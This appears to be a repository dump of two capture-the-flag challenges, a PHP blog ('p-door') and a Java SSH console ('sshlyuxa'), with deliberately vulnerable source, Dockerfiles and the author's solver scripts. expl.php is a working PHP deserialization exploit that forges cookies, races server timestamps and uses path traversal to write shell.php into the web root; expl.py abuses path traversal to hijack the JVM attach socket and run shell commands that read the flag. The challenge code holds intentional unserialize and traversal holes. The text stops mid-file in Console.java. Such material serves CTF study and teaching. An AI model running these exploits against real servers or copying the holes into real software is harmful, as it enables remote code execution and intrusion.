├── README.md ├── wctf2019 └── p-door │ ├── challenge │ ├── flag │ ├── src │ │ ├── header.tpl │ │ ├── main.tpl │ │ ├── config.php │ │ ├── index.php │ │ ├── index.tpl │ │ ├── controllers.php │ │ └── models.php │ ├── docker-compose.yaml │ └── Dockerfile │ ├── p-door.pdf │ └── expl.php └── wctf2020 └── sshlyuxa ├── challenge ├── run.sh ├── task │ ├── src │ │ └── main │ │ │ └── java │ │ │ └── pwn │ │ │ └── challenge │ │ │ ├── Main.java │ │ │ ├── Context.java │ │ │ ├── Sender.java │ │ │ ├── Listener.java │ │ │ ├── Utils.java │ │ │ └── Console.java │ ├── assembly.xml │ └── pom.xml └── Dockerfile ├── pwn.jar ├── sshlyuxa.pdf ├── A.java ├── MyProcessor.java └── expl.py /README.md: -------------------------------------------------------------------------------- 1 | # ctf 2 | CTF stuff 3 | -------------------------------------------------------------------------------- /wctf2019/p-door/challenge/flag: -------------------------------------------------------------------------------- 1 | flag{lcbc_pwnz} 2 | -------------------------------------------------------------------------------- /wctf2020/sshlyuxa/challenge/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | java -jar challenge.jar 3 | 4 | -------------------------------------------------------------------------------- /wctf2020/sshlyuxa/pwn.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/paul-axe/ctf/HEAD/wctf2020/sshlyuxa/pwn.jar -------------------------------------------------------------------------------- /wctf2019/p-door/p-door.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/paul-axe/ctf/HEAD/wctf2019/p-door/p-door.pdf -------------------------------------------------------------------------------- /wctf2019/p-door/challenge/src/header.tpl: -------------------------------------------------------------------------------- 1 |
2 | User: @@user@@ 3 |
4 | @@text@@ 5 |
6 |
7 | -------------------------------------------------------------------------------- /wctf2020/sshlyuxa/sshlyuxa.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/paul-axe/ctf/HEAD/wctf2020/sshlyuxa/sshlyuxa.pdf -------------------------------------------------------------------------------- /wctf2019/p-door/challenge/src/main.tpl: -------------------------------------------------------------------------------- 1 | @@text@@ 2 |
3 | 4 | Created by Super Blog System. 5 |
6 | Rendered at: @@rendered@@ 7 |
8 |
9 | -------------------------------------------------------------------------------- /wctf2019/p-door/challenge/src/config.php: -------------------------------------------------------------------------------- 1 | $method(); 11 | } else { 12 | $controller->doIndex(); 13 | } 14 | 15 | -------------------------------------------------------------------------------- /wctf2019/p-door/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7-apache 2 | 3 | RUN mv "$PHP_INI_DIR/php.ini-production" "$PHP_INI_DIR/php.ini" 4 | RUN yes '' | pecl install redis 5 | Run echo 'extension=redis.so' >> "$PHP_INI_DIR/php.ini" 6 | RUN mkdir /tmp/cache/ && chown www-data:www-data /tmp/cache 7 | 8 | COPY src/ /var/www/html 9 | # So teams will know where is the flag 10 | COPY docker-compose.yaml / 11 | 12 | -------------------------------------------------------------------------------- /wctf2020/sshlyuxa/challenge/task/src/main/java/pwn/challenge/Main.java: -------------------------------------------------------------------------------- 1 | package pwn.challenge; 2 | import java.util.logging.Logger; 3 | import java.util.logging.Level; 4 | 5 | 6 | public class Main { 7 | public static void main(String[] args) throws Exception { 8 | Logger.getLogger("io.netty").setLevel(Level.OFF); 9 | Console console = new Console(); 10 | console.run(); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /wctf2020/sshlyuxa/challenge/task/src/main/java/pwn/challenge/Context.java: -------------------------------------------------------------------------------- 1 | package pwn.challenge; 2 | 3 | import java.security.Key; 4 | 5 | 6 | 7 | public class Context { 8 | 9 | private Listener listener; 10 | 11 | public void runListener(String username) throws Exception { 12 | if (this.listener != null) { 13 | this.listener.interrupt(); 14 | } 15 | this.listener = new Listener(username); 16 | this.listener.start(); 17 | } 18 | public void stopListener() { 19 | this.listener.interrupt(); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /wctf2020/sshlyuxa/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM maven:3-jdk-8 as builder 2 | 3 | COPY task /code 4 | WORKDIR /code 5 | RUN mvn package 6 | 7 | 8 | FROM openjdk:8 9 | ARG flag 10 | 11 | RUN mkdir /code 12 | WORKDIR /code 13 | COPY --from=builder /code/target/challenge-1.0-SNAPSHOT-all.jar /code/challenge.jar 14 | COPY run.sh / 15 | RUN chmod +x /run.sh 16 | 17 | RUN useradd challenge 18 | RUN chown challenge /code 19 | 20 | RUN cp /bin/cat /readflag; chmod u+s /readflag 21 | RUN echo $flag > /FLAG 22 | RUN chmod 400 /FLAG && chown root:root /FLAG 23 | 24 | USER challenge 25 | 26 | CMD ["/run.sh"] 27 | 28 | -------------------------------------------------------------------------------- /wctf2020/sshlyuxa/challenge/task/assembly.xml: -------------------------------------------------------------------------------- 1 | 5 | fat-tests 6 | 7 | jar 8 | 9 | false 10 | 11 | 12 | / 13 | true 14 | true 15 | test 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /wctf2020/sshlyuxa/MyProcessor.java: -------------------------------------------------------------------------------- 1 | import com.sun.tools.javac.comp.Attr; 2 | import com.sun.tools.javac.model.JavacElements; 3 | import com.sun.tools.javac.tree.JCTree; 4 | import com.sun.tools.javac.tree.TreeTranslator; 5 | 6 | import javax.annotation.processing.AbstractProcessor; 7 | import javax.annotation.processing.RoundEnvironment; 8 | import javax.annotation.processing.SupportedAnnotationTypes; 9 | import javax.annotation.processing.SupportedSourceVersion; 10 | import javax.lang.model.SourceVersion; 11 | import javax.lang.model.element.Element; 12 | import javax.lang.model.element.TypeElement; 13 | import java.util.Set; 14 | 15 | @SupportedSourceVersion(SourceVersion.RELEASE_8) 16 | @SupportedAnnotationTypes("*") 17 | public class MyProcessor extends AbstractProcessor { 18 | 19 | @Override 20 | public boolean process(Set annotations, RoundEnvironment roundEnv) { 21 | for (Element e : roundEnv.getRootElements()) { 22 | if (e.getSimpleName().contentEquals("A")) { 23 | JavacElements utils = (JavacElements) processingEnv.getElementUtils(); 24 | JCTree.JCClassDecl cls = (JCTree.JCClassDecl) utils.getTree(e); 25 | JCTree.JCMethodDecl m = (JCTree.JCMethodDecl) cls.defs.head; 26 | cls.defs.head = new JCTree.JCMethodDecl(m.mods, m.name, m.restype, m.typarams, m.recvparam, m.params, m.thrown, m.body, m.defaultValue, m.sym) { 27 | @Override 28 | public void accept(Visitor v) { 29 | if (v instanceof Attr || v instanceof TreeTranslator) { 30 | super.accept(v); 31 | } 32 | } 33 | }; 34 | } 35 | } 36 | return true; 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /wctf2020/sshlyuxa/challenge/task/src/main/java/pwn/challenge/Sender.java: -------------------------------------------------------------------------------- 1 | package pwn.challenge; 2 | 3 | import io.netty.bootstrap.Bootstrap; 4 | import io.netty.channel.*; 5 | import io.netty.channel.unix.DomainSocketAddress; 6 | import io.netty.channel.epoll.EpollEventLoopGroup; 7 | import io.netty.channel.epoll.EpollDomainSocketChannel; 8 | import io.netty.handler.codec.bytes.ByteArrayEncoder; 9 | 10 | public class Sender { 11 | 12 | public class Handler extends SimpleChannelInboundHandler { 13 | @Override 14 | protected void channelRead0(ChannelHandlerContext ctx, String msg) throws Exception { 15 | } 16 | } 17 | 18 | private String path; 19 | public Sender(String username){ 20 | path = Utils.getUserSocketPath(username); 21 | } 22 | 23 | public void send(byte[] data) throws Exception { 24 | Bootstrap bootstrap = new Bootstrap(); 25 | EpollEventLoopGroup group = new EpollEventLoopGroup(); 26 | try { 27 | bootstrap 28 | .group(group) 29 | .channel(EpollDomainSocketChannel.class) 30 | .handler(new ChannelInitializer() { 31 | @Override 32 | protected void initChannel(Channel ch) throws Exception { 33 | ChannelPipeline pipeline = ch.pipeline(); 34 | pipeline.addLast("encoder", new ByteArrayEncoder()); 35 | pipeline.addLast("handler", new Handler()); 36 | } 37 | }); 38 | 39 | final Channel channel = bootstrap.connect( 40 | new DomainSocketAddress(this.path) 41 | ).sync().channel(); 42 | 43 | channel.write(data); 44 | channel.flush(); 45 | channel.disconnect().sync(); 46 | } finally { 47 | group.shutdownGracefully(); 48 | } 49 | } 50 | } 51 | 52 | -------------------------------------------------------------------------------- /wctf2019/p-door/challenge/src/index.tpl: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Online blog platform

4 |
5 | [Home] 6 | 7 | 8 | user) { ?> 9 | [Create] 10 | 11 | [View Last Draft] 12 | 13 | 14 | [Register] 15 | [Login] 16 | 17 |
18 | 19 | 22 | 23 | 34 | 35 | 47 | 48 | 60 | 61 |
62 | 63 | 69 | 70 | 71 | -------------------------------------------------------------------------------- /wctf2020/sshlyuxa/challenge/task/src/main/java/pwn/challenge/Listener.java: -------------------------------------------------------------------------------- 1 | package pwn.challenge; 2 | 3 | import io.netty.bootstrap.ServerBootstrap; 4 | import io.netty.channel.*; 5 | import io.netty.channel.epoll.EpollEventLoopGroup; 6 | import io.netty.channel.epoll.EpollServerDomainSocketChannel; 7 | import io.netty.buffer.ByteBuf; 8 | import io.netty.channel.unix.DomainSocketAddress; 9 | 10 | import java.io.File; 11 | import java.net.SocketAddress; 12 | 13 | public class Listener extends Thread { 14 | private SocketAddress socket; 15 | 16 | public class MessageHandler extends ChannelInboundHandlerAdapter { 17 | @Override 18 | public void channelRead(ChannelHandlerContext ctx, Object msg) { 19 | ByteBuf buf = (ByteBuf) msg; 20 | byte[] bytes = new byte[buf.readableBytes()]; 21 | buf.duplicate().readBytes(bytes); 22 | System.out.println("\n[!] Incoming message: " + Utils.bytesToHex(bytes)); 23 | } 24 | 25 | @Override 26 | public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { 27 | cause.printStackTrace(); 28 | ctx.close(); 29 | } 30 | } 31 | 32 | public Listener(String username) { 33 | String path = Utils.getUserSocketPath(username); 34 | this.socket = new DomainSocketAddress(path); 35 | } 36 | 37 | public void run() { 38 | EventLoopGroup bossGroup = new EpollEventLoopGroup(); 39 | EventLoopGroup workerGroup = new EpollEventLoopGroup(); 40 | ServerBootstrap b = new ServerBootstrap(); 41 | b.group(bossGroup, workerGroup) 42 | .channel(EpollServerDomainSocketChannel.class) 43 | .childHandler(new ChannelInitializer() { 44 | @Override 45 | public void initChannel(Channel ch) throws Exception { 46 | ch.pipeline().addLast(new MessageHandler()); 47 | } 48 | }); 49 | try { 50 | ChannelFuture f = b.bind(this.socket); 51 | f.channel().closeFuture().sync(); 52 | } catch (java.lang.InterruptedException e) { 53 | } finally { 54 | workerGroup.shutdownGracefully(); 55 | bossGroup.shutdownGracefully(); 56 | } 57 | } 58 | 59 | 60 | } 61 | -------------------------------------------------------------------------------- /wctf2019/p-door/challenge/src/controllers.php: -------------------------------------------------------------------------------- 1 | user = User::getInstance(); 8 | } 9 | 10 | private function checkAuth(){ 11 | if ($this->user === NULL || $this->user->name === NULL) 12 | die("Unauthorized"); 13 | } 14 | 15 | public function doPublish(){ 16 | $this->checkAuth(); 17 | $page = unserialize($_COOKIE["draft"]); 18 | $fname = $_POST["fname"]; 19 | $page->publish($fname); 20 | setcookie("draft", null, -1); 21 | die("Your blog post will be published after a while (never)
Back"); 22 | } 23 | 24 | public function doSaveDraft(){ 25 | $this->checkAuth(); 26 | 27 | $page = new Page("main"); 28 | $page->user = $this->user; 29 | $page->filename = $_POST["filename"]; 30 | $page->text = $_POST["text"]; 31 | 32 | $header = new Page("header"); 33 | $header->user = $this->user; 34 | $header->filename = $_POST["filename"]; 35 | $header->text = $_POST["header"]; 36 | 37 | $page->header = $header; 38 | 39 | setcookie("draft", serialize($page)); 40 | header("Location: /?m=ViewDraft"); 41 | } 42 | 43 | public function doViewDraft(){ 44 | $this->checkAuth(); 45 | $page = unserialize($_COOKIE["draft"]); 46 | $footer = << 48 | 49 |
50 | 51 | Back 52 | 53 |
54 | EOL; 55 | die($page . $footer); 56 | } 57 | 58 | public function doLogin(){ 59 | $user = User::login($_POST["login"], $_POST["password"]); 60 | if (!$user) 61 | die("Invalid login/password"); 62 | setcookie("user", serialize($user)); 63 | header("Location: /"); 64 | } 65 | 66 | public function doRegister(){ 67 | $user = User::register($_POST["login"], $_POST["password"]); 68 | if (!$user) 69 | die("Something went wrong"); 70 | setcookie("user", serialize($user)); 71 | header("Location: /"); 72 | } 73 | 74 | public function doIndex(){ 75 | include "index.tpl"; 76 | } 77 | 78 | } 79 | -------------------------------------------------------------------------------- /wctf2020/sshlyuxa/challenge/task/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | pwn.challenge 8 | challenge 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 13 | 14 | org.apache.maven.plugins 15 | maven-compiler-plugin 16 | 3.5.1 17 | 18 | 19 | 1.8 20 | 1.8 21 | 22 | -XDignore.symbol.file 23 | true 24 | 25 | 26 | 27 | maven-assembly-plugin 28 | 29 | ${project.artifactId}-${project.version}-all 30 | false 31 | 32 | 33 | pwn.challenge.Main 34 | 35 | 36 | assembly.xml 37 | 38 | 39 | 40 | make-assembly 41 | package 42 | 43 | single 44 | 45 | 46 | 47 | 48 | 49 | org.apache.maven.plugins 50 | maven-surefire-plugin 51 | 3.0.0-M1 52 | 53 | false 54 | 55 | false 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | io.netty 65 | netty-all 66 | 4.1.36.Final 67 | 68 | 69 | 70 | -------------------------------------------------------------------------------- /wctf2019/p-door/challenge/src/models.php: -------------------------------------------------------------------------------- 1 | connect("db", 6379) or die("Cant connect to database"); 6 | 7 | class User { 8 | const CACHE_PATH = "/tmp/cache/"; 9 | 10 | public $name; 11 | public $perms; 12 | 13 | private static $_instance = null; 14 | 15 | public function __construct($name){ 16 | $this->name = $name; 17 | $this->perms = 4; 18 | self::$_instance = $this; 19 | } 20 | 21 | public function __wakeup(){ 22 | self::$_instance = $this; 23 | } 24 | 25 | public static function getInstance(): ?User { 26 | return self::$_instance; 27 | } 28 | 29 | public function checkWritePermissions() { 30 | if (!$this->name || !ctype_alnum($this->name)) 31 | die("Invalid user"); 32 | if ( !(($this->perms >> 2)&1) ) 33 | die("Access denied"); 34 | } 35 | 36 | public function getCacheDir(): string { 37 | $dir_path = self::CACHE_PATH . $this->name; 38 | if (!is_dir($dir_path)){ 39 | mkdir($dir_path); 40 | } 41 | return $dir_path; 42 | } 43 | 44 | 45 | public static function login($login, $password): ?User { 46 | global $redis; 47 | if (!ctype_alnum($login)) 48 | die("Only alphanumeric logins allowed!"); 49 | $dbhash = $redis->get($login); 50 | if($dbhash === False || $dbhash !== sha1($password)) 51 | return null; 52 | 53 | return new User($login); 54 | } 55 | 56 | public static function register($login, $password): ?User { 57 | global $redis; 58 | if (!ctype_alnum($login)) 59 | die("Only alphanumeric logins allowed!"); 60 | $hash = sha1($password); 61 | if (!$redis->setNx($login, $hash)) 62 | return null; 63 | 64 | return new User($login); 65 | } 66 | } 67 | 68 | 69 | class Cache { 70 | public static function writeToFile($path, $content) { 71 | $info = pathinfo($path); 72 | if (!is_dir($info["dirname"])) 73 | throw new Exception("Directory doesn't exists"); 74 | if (is_file($path)) 75 | throw new Exception("File already exists"); 76 | file_put_contents($path, $content); 77 | } 78 | } 79 | 80 | class Page { 81 | const TEMPLATES = array("main" => "main.tpl", "header" => "header.tpl"); 82 | public $view; 83 | public $text; 84 | public $template; 85 | public $header; 86 | 87 | public function __construct(string $template) { 88 | $this->template = $template; 89 | 90 | } 91 | 92 | public function __toString(): string { 93 | return $this->render(); 94 | } 95 | 96 | public function publish($filename) { 97 | $user = User::getInstance(); 98 | $ext = substr(strstr($filename, "."), 1); 99 | 100 | $path = $user->getCacheDir() . "/" . microtime(true) . "." . $ext; 101 | $user->checkWritePermissions(); 102 | Cache::writeToFile($path, $this); 103 | } 104 | 105 | public function renderVars(): string { 106 | $content = $this->view["content"]; 107 | foreach ($this->vars as $k=>$v){ 108 | $v = htmlspecialchars($v); 109 | $content = str_replace("@@$k@@", $v, $content); 110 | } 111 | return $content; 112 | } 113 | 114 | private function getHeader(): ?Page { 115 | return $this->header; 116 | } 117 | 118 | public function render(): string { 119 | $user = User::getInstance(); 120 | 121 | if (!array_key_exists($this->template, self::TEMPLATES)) 122 | die("Invalid template"); 123 | 124 | $tpl = self::TEMPLATES[$this->template]; 125 | 126 | $this->view = array(); 127 | 128 | $this->view["content"] = file_get_contents($tpl); 129 | $this->vars["user"] = $user->name; 130 | $this->vars["text"] = $this->text."\n"; 131 | $this->vars["rendered"] = microtime(true); 132 | 133 | $content = $this->renderVars(); 134 | $header = $this->getHeader(); 135 | 136 | return $header.$content; 137 | } 138 | } 139 | -------------------------------------------------------------------------------- /wctf2019/p-door/expl.php: -------------------------------------------------------------------------------- 1 | name = $name; 15 | } 16 | } 17 | 18 | class Page { 19 | public $vars; 20 | public $text; 21 | public $view; 22 | public $header; 23 | public $template = "main"; 24 | } 25 | 26 | 27 | 28 | function gen_payload($payload){ 29 | $expl = false; 30 | 31 | for ($i=0; $itext= $payload[$i]; 34 | $p->vars["text"] = &$p->view; 35 | 36 | if (!$expl) 37 | $expl = $p; 38 | else { 39 | $p->header = $expl; 40 | $expl = $p; 41 | } 42 | } 43 | 44 | return serialize($expl); 45 | } 46 | 47 | function upload_pld($pld){ 48 | global $URL; 49 | $pld = urlencode(gen_payload($pld)); 50 | $user = new User("test"); 51 | $user->perms = 4; 52 | $user = urlencode(serialize($user)); 53 | $ch = curl_init(); 54 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 55 | curl_setopt($ch, CURLOPT_URL, "$URL?m=Publish"); 56 | 57 | //curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8080"); 58 | 59 | curl_setopt($ch, CURLOPT_HEADER, 1); 60 | curl_setopt($ch, CURLOPT_COOKIE, "user=$user; draft=$pld"); 61 | 62 | curl_setopt($ch, CURLOPT_POST, 1); 63 | curl_setopt($ch, CURLOPT_POSTFIELDS, "fname=a./../../../../var/www/html/shell.php"); 64 | curl_exec($ch); 65 | } 66 | 67 | function create_dir($name){ 68 | global $URL; 69 | $user = urlencode(serialize(new User($name))); 70 | $page = new Page("test"); 71 | $page->header = new Page("header"); 72 | $page = urlencode(serialize($page)); 73 | $ch = curl_init(); 74 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 75 | curl_setopt($ch, CURLOPT_URL, "$URL?m=Publish"); 76 | 77 | //curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8080"); 78 | 79 | curl_setopt($ch, CURLOPT_HEADER, 1); 80 | curl_setopt($ch, CURLOPT_COOKIE, "user=$user; draft=$page"); 81 | 82 | curl_setopt($ch, CURLOPT_POST, 1); 83 | curl_setopt($ch, CURLOPT_POSTFIELDS, "fname=a.html"); 84 | curl_exec($ch); 85 | } 86 | 87 | function get_server_time(){ 88 | global $URL; 89 | $user = new User("test"); 90 | $user->perms = 4; 91 | $user = urlencode(serialize($user)); 92 | $page = new Page("test"); 93 | $page->header = new Page("header"); 94 | $page = urlencode(serialize($page)); 95 | 96 | $ch = curl_init(); 97 | curl_setopt($ch, CURLOPT_URL, "$URL?m=ViewDraft"); 98 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 99 | 100 | //curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8080"); 101 | 102 | curl_setopt($ch, CURLOPT_HEADER, 1); 103 | curl_setopt($ch, CURLOPT_COOKIE, "user=$user; draft=$page"); 104 | 105 | curl_setopt($ch, CURLOPT_POST, 1); 106 | curl_setopt($ch, CURLOPT_POSTFIELDS, "fname=a.html"); 107 | 108 | $res = curl_exec($ch); 109 | preg_match('/Rendered at: ([0-9\.]+)/', $res, $m); 110 | return floatval($m[1]); 111 | 112 | } 113 | 114 | 115 | $server_time = get_server_time(); 116 | echo "[+] Got server time: $server_time\n"; 117 | $diff = microtime(true) - $server_time; 118 | echo "[*] Creating directories...\n"; 119 | create_dir("test"); 120 | for ($i = 0; $i < $TIME_WINDOW; $i += 0.0001){ 121 | create_dir( "test/".($server_time + $TIME_OFFSET + $i)."."); 122 | $progress = intval($i/$TIME_WINDOW*100); 123 | echo "$progress%\r"; 124 | 125 | } 126 | echo "[+] Done\n"; 127 | echo "[*] Waiting...\n"; 128 | while (1) { 129 | $t = microtime(true); 130 | $t -= $diff; 131 | if ($t >= $server_time + $TIME_OFFSET-1) 132 | break; 133 | } 134 | echo "[*] Trying to upload payload...\n"; 135 | while (1) { 136 | $t = microtime(true); 137 | $t -= $diff; 138 | upload_pld($PAYLOAD); 139 | if ($t >= $server_time + $TIME_OFFSET + $TIME_WINDOW +1) 140 | break; 141 | 142 | } 143 | echo "[*] Finished\n"; 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | -------------------------------------------------------------------------------- /wctf2020/sshlyuxa/challenge/task/src/main/java/pwn/challenge/Utils.java: -------------------------------------------------------------------------------- 1 | package pwn.challenge; 2 | 3 | import java.io.*; 4 | import java.util.Random; 5 | import javax.crypto.Cipher; 6 | import javax.crypto.BadPaddingException; 7 | import javax.crypto.IllegalBlockSizeException; 8 | import java.security.spec.X509EncodedKeySpec; 9 | import java.security.PublicKey; 10 | import java.security.KeyFactory; 11 | 12 | public class Utils { 13 | private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray(); 14 | private static String sessionBaseDir = "keys"; 15 | private static String socketsBaseDir = "sockets"; 16 | private static BufferedReader reader = new BufferedReader(new InputStreamReader(System.in)); 17 | 18 | static { 19 | { 20 | File f = new File(socketsBaseDir); 21 | if (!f.exists() || !f.isDirectory()) { 22 | f.delete(); 23 | f.mkdir(); 24 | } 25 | } 26 | { 27 | File f = new File(sessionBaseDir); 28 | if (!f.exists() || !f.isDirectory()) { 29 | f.delete(); 30 | f.mkdir(); 31 | } 32 | } 33 | } 34 | 35 | 36 | public static String bytesToHex(byte[] bytes) { 37 | char[] hexChars = new char[bytes.length * 2]; 38 | for (int j = 0; j < bytes.length; j++) { 39 | int v = bytes[j] & 0xFF; 40 | hexChars[j * 2] = HEX_ARRAY[v >>> 4]; 41 | hexChars[j * 2 + 1] = HEX_ARRAY[v & 0x0F]; 42 | } 43 | return new String(hexChars); 44 | } 45 | 46 | public static byte[] hexToBytes(String inHex) { 47 | String hex = inHex.toUpperCase(); 48 | String ALPHA = new String(HEX_ARRAY); 49 | if (hex.length()%2 != 0) 50 | return null; 51 | byte[] bytes = new byte[hex.length()/2]; 52 | for (int j = 0; j < bytes.length; j++) { 53 | int v; 54 | byte b = (byte) 0; 55 | v = ALPHA.indexOf(hex.charAt(2*j)); 56 | if (v < 0) return null; 57 | b |= v << 4; 58 | v = ALPHA.indexOf(hex.charAt(2*j+1)); 59 | if (v < 0) return null; 60 | b |= v; 61 | bytes[j] = b; 62 | } 63 | return bytes; 64 | } 65 | 66 | public static byte[] generateRandom(int num) { 67 | byte[] bytes = new byte[num]; 68 | new Random().nextBytes(bytes); 69 | return bytes; 70 | } 71 | 72 | public static byte[] decrypt(byte[] key, byte[] msg) throws Exception { 73 | if (msg == null) 74 | return null; 75 | 76 | X509EncodedKeySpec ks = new X509EncodedKeySpec(key); 77 | KeyFactory kf = KeyFactory.getInstance("RSA"); 78 | PublicKey pub = kf.generatePublic(ks); 79 | 80 | Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding"); 81 | cipher.init(Cipher.DECRYPT_MODE, pub); 82 | try { 83 | return cipher.doFinal(msg); 84 | } catch (BadPaddingException | IllegalBlockSizeException e) { 85 | return null; 86 | } 87 | } 88 | 89 | public static Boolean userExists(String username) { 90 | File file = new File(String.format("%s/%s.pub", sessionBaseDir, username)); 91 | return file.exists(); 92 | } 93 | 94 | public static String ask(String prefix) throws Exception { 95 | System.out.print(prefix+" "); 96 | return reader.readLine(); 97 | } 98 | 99 | public static void saveUserKey(String username, byte[] key) throws Exception { 100 | File file = new File(String.format("%s/%s.pub", sessionBaseDir, username)); 101 | FileOutputStream fos = new FileOutputStream(file); 102 | fos.write(key); 103 | fos.flush(); 104 | fos.close(); 105 | } 106 | 107 | public static byte[] getUserKey(String username) throws Exception { 108 | File file = new File(String.format("%s/%s.pub", sessionBaseDir, username)); 109 | FileInputStream fis = new FileInputStream(file); 110 | byte[] data = new byte[(int) file.length()]; 111 | fis.read(data); 112 | fis.close(); 113 | return data; 114 | } 115 | 116 | public static String getUserSocketPath(String username) { 117 | return String.format("%s/%s", socketsBaseDir, username); 118 | } 119 | 120 | } 121 | -------------------------------------------------------------------------------- /wctf2020/sshlyuxa/expl.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | import asyncio 3 | import re 4 | import asyncssh 5 | import sys 6 | from Crypto.PublicKey import RSA 7 | 8 | 9 | HOST = sys.argv[1] 10 | PORT = int(sys.argv[2]) 11 | 12 | key = RSA.generate(2048) 13 | public_der = key.publickey().export_key("DER") 14 | 15 | PAYLOAD = open("pwn.jar","rb").read() 16 | 17 | def pad(b): 18 | ln = len(b) 19 | return b"\x01"+b"\xff"*(255-ln-2)+b"\x00"+b 20 | 21 | def encrypt(k, d): 22 | ct = pow(int.from_bytes(pad(d), byteorder='big'), k.d, k.n) 23 | return ct.to_bytes((ct.bit_length() + 7) // 8, byteorder='big') 24 | 25 | 26 | async def connect(): 27 | conn = await asyncssh.connect(HOST, PORT 28 | , known_hosts=None 29 | , username="user", password="user") 30 | 31 | stdin, stdout,stderr = await conn.open_session(term_type="vt100", encoding=None) 32 | d = await stdout.readuntil(b": ") 33 | stdin.write(b"lol\n") 34 | d = await stdout.readuntil(b"[>] ") 35 | stdin.write(b"1\n") 36 | d = await stdout.readuntil(b">>> ") 37 | return stdin, stdout, stderr 38 | 39 | async def execute_payload(pid): 40 | stdin, stdout, stderr = await connect() 41 | 42 | stdin.write("auth pwn\n".encode()) 43 | d = await stdout.readuntil(b"[resp]> ") 44 | challenge = binascii.unhexlify(d.split(b"echo ")[1].split(b" | ")[0]) 45 | 46 | pld = binascii.hexlify(encrypt(key, challenge)) 47 | stdin.write(pld + b"\n") 48 | d = await stdout.readuntil(b">>> ") 49 | 50 | stdin.write(f"msgto ../../tmp/.java_pid{pid}\n".encode()) 51 | d = await stdout.readuntil(b"[msg]> ") 52 | cmd = b"1\x00load\x00instrument\x00false\x00/tmp/pld.pub=sh -c $@|sh . echo /readflag /FLAG>/tmp/flag.pub\x00" 53 | stdin.write(binascii.hexlify(cmd) + b"\n") 54 | 55 | 56 | async def socket_prepare(pid): 57 | stdin, stdout, stderr = await connect() 58 | stdin.write(f"register ../../tmp/.java_pid{pid}\n".encode()) 59 | d = await stdout.readuntil(b"[resp]> ") 60 | 61 | stdin.write(binascii.hexlify(public_der) + b"\n") 62 | d = await stdout.readuntil(b">>>") 63 | 64 | fname = f"../.attach_pid{pid}" 65 | 66 | stdin.write(f"register {fname}\n".encode()) 67 | d = await stdout.readuntil(b"[resp]> ") 68 | stdin.write(binascii.hexlify(public_der) + b"\n") 69 | 70 | stdin.write(f"auth {fname}\n".encode()) 71 | d = await stdout.readuntil(b"[resp]> ") 72 | challenge = binascii.unhexlify(d.split(b"echo ")[1].split(b" | ")[0]) 73 | 74 | pld = binascii.hexlify(encrypt(key, challenge)) 75 | stdin.write(pld + b"\n") 76 | d = await stdout.readuntil(b">>> ") 77 | 78 | 79 | async def main(): 80 | stdin, stdout, stderr = await connect() 81 | print("[+] Connected!") 82 | stdin.write(b"\034") 83 | stdin.write(b"\n") 84 | d = await stdout.readuntil(b">>>") 85 | main_thread_id = re.findall(r'"main".*nid=0x([0-9a-f]*) runnable', d.decode())[0] 86 | pid = int(main_thread_id,16) 87 | print(f"[+] Got PID: {pid}") 88 | 89 | print("[*] Creating socket channel") 90 | await asyncio.gather(*[socket_prepare(pid + i) for i in range(-2,1)]) 91 | 92 | stdin.write(b"help\n") 93 | d = await stdout.readuntil(b">>> ") 94 | stdin.write(b"\034\n") 95 | await stdin.drain() 96 | stdin.write(b"\n") 97 | d = await stdout.readuntil(b">>> ") 98 | 99 | print("[*] Uploading payload") 100 | stdin.write("register ../../tmp/pld\n".encode()) 101 | d = await stdout.readuntil(b"[resp]> ") 102 | stdin.write(binascii.hexlify(PAYLOAD) + b"\n") 103 | d = await stdout.readuntil(b">>> ") 104 | 105 | print("[*] Executing payload") 106 | stdin.write(f"register pwn\n".encode()) 107 | d = await stdout.readuntil(b"[resp]> ") 108 | stdin.write(binascii.hexlify(public_der) + b"\n") 109 | d = await stdout.readuntil(b">>>") 110 | 111 | await asyncio.gather(*[execute_payload(pid + i) for i in range(-2,1)]) 112 | 113 | stdin.write("auth pwn\n".encode()) 114 | d = await stdout.readuntil(b"[resp]> ") 115 | challenge = binascii.unhexlify(d.split(b"echo ")[1].split(b" | ")[0]) 116 | 117 | pld = binascii.hexlify(encrypt(key, challenge)) 118 | stdin.write(pld + b"\n") 119 | d = await stdout.readuntil(b">>> ") 120 | 121 | stdin.write(f"msgto ../../tmp/flag\n".encode()) 122 | d = await stdout.readuntil(b"[msg]> ") 123 | print(d) 124 | 125 | 126 | if __name__ == "__main__": 127 | asyncio.run(main()) 128 | -------------------------------------------------------------------------------- /wctf2020/sshlyuxa/challenge/task/src/main/java/pwn/challenge/Console.java: -------------------------------------------------------------------------------- 1 | package pwn.challenge; 2 | 3 | import java.util.Arrays; 4 | 5 | 6 | public class Console { 7 | 8 | private final static int KEY_BITS = 4096; 9 | 10 | private Context context; 11 | 12 | 13 | public Console() { 14 | this.context = new Context(); 15 | } 16 | 17 | public void help() { 18 | System.out.println("Usage:"); 19 | System.out.println("\thelp - Print help page"); 20 | System.out.println("\tregister - Register"); 21 | System.out.println("\tauth - Login"); 22 | System.out.println("\tmsgto - Send message to user"); 23 | System.out.println("\tquit - Exit the SSHluyxa"); 24 | System.out.println(""); 25 | } 26 | 27 | public void auth(String username) throws 